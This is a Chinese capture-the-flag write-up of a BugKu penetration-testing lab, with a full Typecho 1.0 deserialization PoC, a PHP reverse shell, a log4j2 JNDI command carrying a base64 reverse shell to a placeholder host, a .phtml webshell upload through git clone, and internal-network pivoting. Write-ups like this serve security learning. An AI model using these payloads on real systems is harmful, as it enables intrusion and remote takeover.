社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  Git

BugKu -- PRA -- 渗透测试2(log4j2、Typecho反序列化、git克隆)

Hacking黑白红 • 1 年前 • 694 次点击  

记录一次坎坷的打靶经历

第一次打靶  0x01 flag1(Typecho反序列化)  0x02 flag2(数据库)  0x03 flag3(log4j2 rce)第二次打靶  0x03 flag4(log4j2 rce)  0x04 flag3、flag5  0x06 flag6(git克隆)  0x07 flag7(git克隆上马)  0x08 flag8(ftp)第三次打靶  0x08 flag8(ftp)

前言

我也没想到居然能有第二篇,可能是我打靶太过于坎坷(其实就是菜,呜呜呜)。
言归正传,bugku的par模式,渗透测试2,共9个flag,打了三次,历时三天,全部拿下。整个打靶过程依旧十分坎坷,在此,分享出来笔者打靶的过程,并呈现自己的思考,同时也希望能获得大佬的指点。

过程

第一次打靶

0x01 flag1(Typecho反序列化)

启动场景,给了一个ip:80,老样子先上nmap扫一波

看来还是得从80端口开始,访问页面显示

哇,这么大个flag,这是怕我看不见么,结果访问并不是,年轻人不讲武德,来骗,来偷袭...呜呜呜

上dirsearch扫着,咱先熟悉一下整个站点的功能,这个站点是属于博客类型的,插件识别出来这是一个Typecho的cms,版本为1.0

网上搜搜看有没有历史漏洞

嘿!还真有,刚好符合要求

挺轻松,直接上poc,

class Typecho_Feed{
const RSS2 = 'RSS 2.0';
private $_type;
private $_items;

public function __construct(){
//__toString函数检查
$this->_type = self::RSS2;
//触发__get函数
$_item['author'] = new Typecho_Request();
//触发错误
$_item['category'] = array(new Typecho_Request());
$this->_items[0] = $_item;
}
}

class Typecho_Request{
private $_params = array();
private $_filter = array();

public function __construct(){
//回调函数的参数,即想要执行的命令
$this->_params['screenName'] = "ls";
//回调函数
$this->_filter[0] = "system";
}
}

$data = new Typecho_Feed();
$poc = array(
'adapter' => $data,
'prefix' => "typecho_"
);

//序列化
$s = serialize($poc);
//base64编码
echo base64_encode($s);
?>

将poc运行后的结果,利用hackbar进行post传参,看到当前目录下的所有文件

当前目录下没有flag,去根目录下看看,直接cat /f*,拿到flag

0x02 flag2(数据库)

上一个flag没有提示,但按照打靶正常流程,咱应该想办法getshell,尝试反弹一个shell回来。它本身是一个php站点,上面的poc中调用的又是system函数,最先想到的payload就是

php -r '$sock=fsockopen("xx.xx.xx.xx",1234);system("sh &3 2>&3");'

但是因为单双引号闭合的问题(有些函数里必需要有引号),放在poc里面感觉比较麻烦,想着写一个一句话木马进去,但是蚁剑死活连不上,最后还是回到原来的想法,反弹shell。处心积虑地构造了我大半天,终于构造完了,最后长这样,用变量隔开了很多参数,然后利用字符串拼接的方式将整个命令拼接完整就OK啦

(后面发现只要给双引号加个\转义一下就行了,一口老血吐了出来)

接收到shell后,看了一下当前目录并没有flag,先用python提升一下shell的交互性吧

python3 -c 'import pty; pty.spawn("/bin/bash")'


然后看了一下自己刚刚想写进去的那个一句话木马
?嗯?我的$_POST呢?就离谱...
然后因为这个反弹回来的shell执行命令起来有点麻烦(敲错命令想删掉重敲,虽然它确实是删掉了,但是显示上并不会删掉而且还会多两个字符^H)

我觉得还是工具的ui界面操作起来更方便,想用echo命令写一个一句话木马进去,结果呀,这个$_POST依旧是写不进去

最后我还是用老办法,将这个一句话木马分开,按两次写入shell.php,查阅了一下echo命令的一个详细用法,于是就有了下图

上蚁剑,成功连上

按照上次做渗透测试1的经验,flag应该在数据库里面,查看config.inc.php,拿到数据库账号密码,

登录后在数据库中拿到flag

0x03 flag3(log4j2 rce)

依旧是没有任何提示,想看看能不能提权,但就我那个提权三板斧是提不了的,只能看一下网段信息先走内网了

显示有一个网段192.168.0.2/24,传一个fscan扫一下(将结果输出到文件里边,不然没有回显)

看一下结果,提示192.168.0.3:80的title是不一样的,挂一个frp,访问一下该站点

什么也没有,尝试弱口令,没用,爆破,没结果,想着抓包试试爆破,结果返回包里边提示source.zip

访问看看,把源码下载下来了
解压出来,浅浅看一下,是一个log4j2的题,估摸着是考CVE-2021-44228漏洞的利用吧

但是说来惭愧,作为一个web手,这个漏洞自曝出到现在我还没有去复现研究过,导致现在不知道怎么去利用它,刚好时间也到了,只能先去研究一下这个漏洞了,第一次打靶结束。

第二次打靶

0x03 flag4(log4j2 rce)

研究了一天这个漏洞,大致知道该漏洞的基本原理和利用方法了

基本原理:一些版本的log4j2中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞。
JNDI注入简单来说就是在JNDI接口在初始化时,如:InitialContext.lookup(URI),如果URI可控,那么客户端就可能会被攻击。
而一些版本的Log4j2的JNDI支持并没有限制可以解析的名称。这样的话就可以通过一些协议像rmi:和ldap:这种,下载远程class,来运行恶意代码,从而达到远程代码执行的目的。
利用方式:利用JNDI注入让靶机通过rmi或者ldap等协议加载我们在公网vps上构造好的恶意类,从而拿下shell

思路清晰目的明确,在vulhub上找到相应的环境成功复现一遍后,就开始了我的第二次打靶之旅。
将反弹shell的payload进行base64加密

使用JNDI注入工具(JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar)在vps上开启好对应的服务,

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94eC54eC54eC54eC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" -A "xx.xx.xx.xx"


之后便可以开始利用了,从上次得到的源码里可以知道这个站点用的是springboot框架,

所以选择工具给好的对应springboot的URI,构造好payload,vps上nc监听反弹端口,将payload填入登录框中,点击提交即可接收到反弹回来的shell了


刚好还是root权限,读一下flag

0x04 flag3、flag5

上一个flag提交后发现这居然是flag4

该不会真的需要在之前flag2上的机器提权后才能拿到flag3吧,呜呜呜
然后仔细看了一下但当前目录下的文件,有一个start.sh的脚本,打开看看

好家伙,一个log4j2的漏洞拿下3个flag,flag3在一个js文件里边、flag4在根目录下、flag5在root目录下,单走一个6

0x06 flag6(git克隆)

看完flag后,界面显示看起来属实不舒服,想clear清屏又清不掉,

最后想起来搁B站up主红队笔记的视频里学到过一招,

export TERM=xterm-color

成功清屏

接着做下去,上一个flag依旧是没有提示,但已经有root权限了,正常流程就是看看内网了,ifconfig看一下网段,好家伙,没有ifconfig命令

ls /usr/bin看一下用户命令有哪些

有wget,可以直接从vps上下载frpc,但是不知道这台机子的具体网络信息呀,这时候其实就有一点卡住了,不知道该怎样获取这台机子的一个网卡信息,怎样进行下一步呢?
嘿嘿,我去问了一下度娘,

执行ip addr show命令后发现还有一层192.168.1.2/24的网段,传一个fscan上去扫一下


依旧是看title,发现192.168.1.3的是之前没有见过的,挂frp开socks5代理,成功访问该站点(能wget从公网上下载就已经不需要考虑出不出网的问题了)

这个貌似是用来clone仓库的,看一下插件是一个php站点

表单里边有bugku的一个git仓库提示,访问看看

是一个漏洞测试靶场,并没有给什么信息,直接将这个git仓库克隆一下,

给了个超链接,访问一看,flag出了

0x07 flag7(git克隆上马)

这里可以克隆仓库,而且可以访问到克隆的仓库里的文件,你说这种是不是很像文件上传,于是我自己建了个仓库,放上一句话木马,clone后访问发现它直接将文件内容输出了,并没有执行解析

可能是做了限制吧,然后尝试修改仓库里文件后缀看看能不能绕过限制,重新clone,好家伙,clone同一个仓库,里边的文件不会变了(不管远程仓库做了什么修改,clone的仓库只保留第一次clone的结果,估摸着是缓存的原因),没办法只能多创建几个仓库了,最后测试了很多次后,发现phtml后缀的文件能被解析执行

直接上蚁剑,拿下flag


贴上我的仓库地址(https://github.com/QRLing1/hello4)

0x08 flag8(ftp)

这次终于有提示了,

?什么东东,没看懂,离谱,还是先看一下这台机子的网卡信息吧

还有一层10.10.0.2/24的网段,上fscan扫一下(将结果输出到文件中,不然没有回显)

看一下结果发现10.10.0.3这台机子只开了21端口,该端口对应的是ftp服务,题目的提示该不会是ftp的账号密码吧,继续上frp挂代理,可是这次再上传frpc的时候一直出现问题,

唯一上传成功的frp还不能运行

最后就一直卡在了这里,之后时间也差不多结束了,第二次打靶也就此告终。

第三次打靶

0x08 flag8(ftp)

重新开启靶场后,想再试试传一个frpc,这次上传的很顺利,之前传不上去可能是网络问题吧,挂上代理后尝试使用xftp进行连接,账户密码确实是guest,但xftp连接上后就一直卡死

根本读取不到文件,换FileZilla连接也是卡死,就离谱

之后想着还是用ftp命令行进行连接吧
转到kali,先在/etc/proxychains4.conf里加上socks5代理,

然后再使用ftp进行连接,终于连上了

get flag远程下载flag文件拿到flag

0x09 flag9(ftp)

从上一个flag给出的提示,ls / 看一下根目录的文件

还真有,直接get /flag,结果并没有拿下flag

一下子给我整蒙了,难不成还要弹个shell回来提权?但是就开了一个21端口也执行不了什么命令,怎么弹shell呀,迷茫了很久,切换到根目录下面get flag,直接拿下了,好家伙,离大谱

总结

到这里就结束了,回顾整个打靶过程,还是能清晰的感受到我是一如既往的菜。这次打靶依旧是学到了很多东西,比如log4j2漏洞的学习和复现等,而且我觉得自己对打靶的一个大致流程也越来越熟练,打靶时的思路也逐渐灵活,总体上感触颇多。下次继续,嘿嘿。
希望师傅们不喜勿喷,感谢。

参考资料

JNDI注入学习
16-PHP代码审计——Typecho1.0.14反序列化漏洞
log4j2(CVE-2021-44228)漏洞复现实操(小白向)
CVE-2021-44228-Log4j漏洞分析及漏洞複現(Log4j POC)
Apache Log4j2 lookup feature JNDI injection (CVE-2021-44228)

本文作者:QRLing, 转载请注明来自FreeBuf.COM






【Hacking黑白红】,一线渗透攻防实战交流公众号

回复“电子书”获取web渗透、CTF电子书:

回复“视频教程”获取渗透测试视频教程;  

回复“内网书籍”获取内网学习书籍;        

回复“CTF工具”获取渗透、CTF全套工具;

回复“内网渗透;获取内网渗透资料;

回复护网;获取护网学习资料 ;

回复python,获取python视频教程;

回复java,获取Java视频教程;

回复go,获取go视频教程


知识星球




【Hacking藏经阁】知识星球致力于分享技术认知

1、技术方面。主攻渗透测试(web和内网)、CTF比赛、逆向、护网行动等;

400G渗透教学视频、80多本安全类电子书、50个渗透靶场(资料主要来自本人总结、以及学习过程中购买的课程)

2、认知方面。副业经营、人设IP打造,具体点公众号运营、抖*yin等自媒体运营(目前主要在运营两个平台4个号)。


如果你也想像我一样,不想35岁以后被动的去面试,那么加入星球我们一起成长。






欢迎加入99米/年,平均每天2毛7分钱,学习网络安全一整年。





渗透实战系列



【渗透实战系列】51|- 一次BC站点的GetShell过程

【渗透实战系列】50|- Log4j打点后与管理员斗智斗勇

【渗透实战系列】49|-实战某高校的一次挖矿病毒的应急处置

【渗透实战系列】|48-一次内网渗透

渗透实战系列】|47-记一次对某鱼骗子卖家的溯源

【渗透实战系列】|46-渗透测试:从Web到内网

【渗透实战系列】|45-记一次渗透实战-代码审计到getshell

【渗透实战系列】|44-记一次授权渗透实战(过程曲折,Java getshell)

【渗透实战系列】|43-某次通用型漏洞挖掘思路分享

【渗透实战系列】|42-防范诈骗,记一次帮助粉丝渗透黑入某盘诈骗的实战

【渗透实战系列】|41-记一次色*情app渗透测试

【渗透实战系列】|40-APP渗透测试步骤(环境、代理、抓包挖洞)

▶【渗透实战系列】|39-BC渗透的常见切入点(总结)

【渗透实战系列】|38-对某色情直播渗透

【渗透实战系列】|37-6年级小学生把学校的网站给搞了!

【渗透实战系列】|36-一次bc推广渗透实战

【渗透实战系列】|35-旁站信息泄露的dedecms站点渗透

【渗透实战系列】|34-如何用渗透思路分析网贷诈骗链

【渗透实战系列】|33-App渗透 ,由sql注入、绕过人脸识别、成功登录APP

【渗透实战系列】|32-FOFA寻找漏洞,绕过杀软拿下目标站

【渗透实战系列】|31-记一次对学校的渗透测试

【渗透实战系列】|30-从SQL注入渗透内网(渗透的本质就是信息搜集)

【渗透实战系列】|29-实战|对某勒索APP的Getshell

【渗透实战系列】|28-我是如何拿下BC站的服务器

【渗透实战系列】|27-对钓鱼诈骗网站的渗透测试(成功获取管理员真实IP)

【渗透实战系列】|26一记某cms审计过程(步骤详细)

【渗透实战系列】|25一次从 APP 逆向到 Getshell 的过程

【渗透实战系列】|24-针对CMS的SQL注入漏洞的代码审计思路和方法

【渗透实战系列】|23-某菠菜网站渗透实战

【渗透实战系列】|22-渗透系列之打击彩票站

【渗透实战系列】|21一次理财杀猪盘渗透测试案例

【渗透实战系列】|20-渗透直播网站

【渗透实战系列】|19-杀猪盘渗透测试

【渗透实战系列】|18-手动拿学校站点 得到上万人的信息(漏洞已提交)

【渗透实战系列】|17-巧用fofa对目标网站进行getshell

【渗透实战系列】|16-裸聊APP渗透测试

【渗透实战系列】|15-博彩网站(APP)渗透的常见切入点

【渗透实战系列】|14-对诈骗(杀猪盘)网站的渗透测试

【渗透实战系列】|13-waf绕过拿下赌博网站

【渗透实战系列】|12 -渗透实战, 被骗4000花呗背后的骗局

【渗透实战系列】|11 - 赌博站人人得而诛之

【渗透实战系列】|10 - 记某色X商城支付逻辑漏洞的白嫖(修改价格提交订单)

【渗透实战系列】|9-对境外网站开展的一次web渗透测试(非常详细,适合打战练手)

【渗透实战系列】|8-记一次渗透测试从XSS到Getshell过程(详细到无语)

【渗透实战系列】|7-记一次理财杀猪盘渗透测试案例

【渗透实战系列】|6- BC杀猪盘渗透一条龙

【渗透实战系列】|5-记一次内衣网站渗透测试

【渗透实战系列】|4-看我如何拿下BC站的服务器

【渗透实战系列】|3-一次简单的渗透

【渗透实战系列】|2-记一次后门爆破到提权实战案例

【渗透实战系列】|1一次对跨境赌博类APP的渗透实战(getshell并获得全部数据)


    

长按-识别-关注

Hacking黑白红

一个专注信息安全技术的学习平台

点分享

点收藏

点点赞

点在看



Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/155895
 
694 次点击